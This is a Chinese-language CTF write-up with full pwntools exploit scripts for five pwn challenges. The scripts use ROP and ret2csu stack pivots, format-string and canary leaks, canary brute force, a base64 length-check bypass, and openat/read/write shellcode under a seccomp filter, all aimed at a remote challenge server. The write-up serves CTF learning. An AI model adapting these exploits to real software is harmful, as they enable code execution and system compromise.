这PWN题似乎是给我出的，4个一血1个2血。密码又过于简单。逆向太难了又不大会。
Stack fengshui
main可以溢出覆盖rbp+ret所以它每一步都需要移栈。
可用的ROP里没有pop rdi,在4004c0里有错位的01 5d c3 ：add DWORD PTR [rbp-0x3d], ebx
并且有对应的ppp6和mov call可能打ret2csu
可以改的是一个被修改过的read，因为每次只能改4字节，所以需要改两次。
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
add_dword_rbp_0x3d_ebx_ret = 0x4004d8 #01 5d c3 :add DWORD PTR [rbp-0x3d], ebx
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006ca
mov_call = 0x4006a6 #xor ebx,ebx;... call [r12+rbx*8]
pop_rbp = 0x40063e
leave_ret = 0x400669
ret = 0x4006d4
bss = 0x601800
def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
0, 1, addr, rdi, rdx, 0, mov_call,
0, 0, rbp, 0, 0, 0, 0,
])
def add(off, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
off, addr + 0x3d, 0, 0, 0, 0,
add_dword_rbp_0x3d_ebx_ret,
])
p = remote('27.25.151.29', 32968)
p.send(b'A'*0xa0+flat(bss, 0x40064b))
p.send(flat([
add((libc.sym['system']-libc.sym['read']-0xffff000000000000)&0xffffffff,0x606e40),
pop_rbp, 0x601900, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0-8, leave_ret))
p.send(flat([
add(((libc.sym['system']-libc.sym['read']-0xffff000000000000)>>32)+1,0x606e44),
pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss+0x100-0xa0-8, leave_ret))
p.send(flat([b'/bin/sh\0', ret,
ret2csu(rdi=bss-0xa0, addr=0x606e40),
pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0, leave_ret))
p.interactive()
signin
应该是这里边里简单的一个题。有3个菜单，
1是格式化字符串只可以输入4字节，所以可以泄露1-9的值，这里边只有3有价值是个libc地址（格式化串里6开始在栈里，1-5分别泄露rsi,rdx,rcx,r8,r9）
2可以覆盖到canary当输入长度为0x19里可以输出canary的值
3是个溢出，同样溢出很小需要移栈。
先用1，2得到canary和libc然后system
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('27.25.151.29', 33576)
p.sendlineafter(b"Your choice: ", b'2')
p.sendafter(b"Note: ", b'A'*0x19)
p.recvuntil(b'A'*0x19)
canary = b'\0'+p.recv(7)
stack = u64(p.recv(6)+b'\0\0') - 0x20
print(f"{canary.hex() = } {stack = :x}")
p.sendlineafter(b"\nAgain?\n", b'-559038737')
p.sendafter(b"Note: ", b'A'*0x18+b'\0')
p.sendlineafter(b"Your choice: ", b'1')
p.sendafter(b"Note: ", b'%3$p')
p.recvuntil(b"Note: ")
libc.address = int(p.recvuntil(b'1.', drop=True),16) - 0x114887
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x00000000001bbea1 # pop rdi ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
p.sendlineafter(b"Your choice: ", b'3')
p.sendafter(b"Note: ", flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],canary, stack-0x28, leave_ret))
p.interactive()SigninVM
程序用随机数生成4个块分别用于寄存器，栈，指令，并且指令会被设置成r-x，这里有一个RWX的没改，可以通过同步时间预测出地址。随机数使用3个字节，爆破量不大。
虚拟机命令格式：cmd,?,reg_idx1-3,add,value
虚拟机有几个命令，这里P（读入到寄存器）,W（把寄存器值写入地址）把数据写入到可写可执行区再用V跳过去执行
shellcode由于限制只能用openat,read,write倒是也够了。
from pwn import *
from ctypes import *
context(arch='amd64', log_level='debug')
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
#p = process('./pwn2')
#gdb.attach(p, "b*0x5555555556b3\nc")
p = remote('27.25.151.29', 33207)
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
rsp = int(p.recv(10),16)
p.recvuntil(b': 0x')
rip = int(p.recv(10),16)
p.recvuntil(b': 0x')
bss = int(p.recv(10),16)
print(f"{rsp = :x} {rip = :x} {bss = :x}")
def getv():
v2 = clibc.rand() % 1131796
v0 = clibc.rand()
return ((v2 + (v2 ^ v0) + clibc.rand()) >> 4) << 12
for i in range(0x1000000):
clibc.srand(i)
if rip == getv():
print('bss =',hex(getv()))
print('rsp =',hex(getv()))
cmd = getv()
print('cmd =', hex(cmd))
break
shellcode = f'''
push 0x{(cmd>>12):x}; pop rsi;shl rsi,12;
push 0;pop rax;
push rax;pop rdi;
push 0x70;pop rdx;
syscall
'''
shellcode = f'''
xchg r8,rsi;
push rcx;pop rax;
push rax;pop rdi;
syscall
'''
#shellcode = asm(shellcode).ljust(24, b'\x90')
shellcode = shellcraft.openat(0,'/flag')+shellcraft.read(0, cmd+0x200,0x50) + shellcraft.write(1,cmd+0x200,0x50)
shellcode = asm(shellcode)
print(shellcode, len(shellcode))
#write payload to cmd
pay = b''
for i in range(0, len(shellcode), 8):
pay+= b'P'+bytes([0,0,0,0]) + flat(0, shellcode[i:i+8])
pay+= b'W'+bytes([0,0,0,0]) + flat(cmd+i, 0)
pay+= b'P'+bytes([0,0,0,0]) + flat(0, cmd)
pay+= b'V'+bytes([0,0,0,0]) + flat(0, 0)
p.sendafter(b'Please provide your VM instructions:\n', pay)
#openat,read,write
p.interactive()
'''
0x0000007621ded000 0x0000007621dee000 0x0000000000000000 rw- rsp
0x0000007e17a5d000 0x0000007e17a5e000 0x0000000000000000 rw- bss
0x000000a339fef000 0x000000a339ff0000 0x0000000000000000 rwx <---
0x000000cfe16e4000 0x000000cfe16e5000 0x0000000000000000 r-- rip
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0012
0006: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0012
0007: 0x15 0x04 0x00 0x00000008 if (A == lseek) goto 0012
0008: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0012
0009: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0012
0010: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0012
0011: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
'''T1d's computer v2.0
这个题在输入payload里会有长度检查。先把输入的东西用base64解码，但解码时会减去全=的块数，这样把ROP编码后加足够的=就能绕过长度检查。
出题人看来习惯于短溢出了，每次都得弄第2次。
from pwn import *
from ctypes import *
from time import time
from base64 import b64encode
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
mov_rdi_rbp = 0x401602
pop_rbp = 0x401607
ret = 0x401608
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(int(time()))
x = clibc.rand()%256
p = remote('27.25.151.29', 33311)
p.sendlineafter(b"Please enter your username: ", b'A')
print(f"{x = :x}")
pay = b'\0'*0x48 + flat(elf.got['puts'], mov_rdi_rbp, elf.plt['puts'], ret, elf.sym['login'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l
p.sendlineafter(b"Please enter your password: ", pay.encode())
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
#####2############
p.sendlineafter(b"Please enter your username: ", b'A')
print(f"{x = :x}")
pay = b'\0'*0x48 + flat(next(libc.search(b'/bin/sh\0')), mov_rdi_rbp, libc.sym['system'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l
p.sendlineafter(b"Please enter your password: ", pay.encode())
p.interactive()T1d's computer v3.0
题目有4个菜单
1:login有溢出，但有栈保护需要先得到canary
2:fmt 会得到 elf.address^canary 得到canary后可以算出加载地址
3:uaf 好像没啥用
4:canary 输入密码正确后会给出canary。密码是通过/dev/random取得并且不为0，这里的漏洞在于当输入满16字节时会带所后边的i，通过i判断是否是否爆破成功。这里不通输入\n所以需要从密码中过滤掉。密码带\n的概率不大。
from pwn import *
import time
context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc = ELF('./libc.so.6')
def login(msg=b"root\0"):
p.sendlineafter(b"Choose an option: ", b'1')
p.sendlineafter(b"Please enter your username: ", b"T1d\0")
if len(msg)< 0x68:
p.sendlineafter(b"Please enter your password: ", msg)
else:
p.sendafter(b"Please enter your password: ", msg)
def fmt():
p.sendlineafter(b"Choose an option: ", b'2')
p.recvuntil(b"A gift for you: 0x")
v = int(p.recvline(),16)
print(hex(v))
return v
def getcanary(c):
p.sendlineafter(b"Choose an option: ", b'4')
p.sendlineafter(b"Please input the number you guess: ", c)
msg = p.recvline()
return msg
def logout():
p.sendlineafter(b"Choose an option: ", b'5')
def uaf(msg):
p.sendlineafter(b"Choose an option: ", b'3')
p.sendlineafter(b"Choice: ", b'1')
p.sendafter(b"Enter your note: ", msg)
p.sendlineafter(b"Choice: ", b'3')
def get2():
code = [255]*8
for i in range(7):
for k in range(1,256):
if k==10: continue
code[i]=k
p.sendlineafter(b"Choose an option: ", b'4')
p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)
msg = p.recvline()
if msg[-2:] == bytes([i+1])+b'\n':
break
for k in range(1,256):
if k==10: continue
code[7]=k
p.sendlineafter(b"Choose an option: ", b'4')
p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)
msg = p.recv(10)
if b"I'll" in msg:
p.recvuntil(b'0x')
canary = int(p.recvline(),16)
return canary
return False
p = remote('27.25.151.29', 33804)
login()
#当输入满16位时会带出i,通过i判断是否爆破成功
canary = get2()
print(f"{canary = :x}")
elf.address = (canary ^ fmt()) - 0x4060
context.log_level = 'debug'
print(f"{canary = :x} {elf.address = :x}")
mov_rdi = elf.address + 0x1d51 #mov rax,desc;mov rdi,rax;mov rdi,[rdi];ret
uaf(p64(elf.got['puts']))
bss = elf.address+ 0x4800
logout()
login(b'\0'*0x40 + flat(canary, bss, mov_rdi, elf.plt['puts'], elf.address + 0x1ab5))
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
leave_ret = elf.address + 0x1b47
p.sendline(flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],p64(0)*4,canary, bss-0x50 , leave_ret))
sleep(0.5)
p.sendline(b'cat flag')
p.interactive()
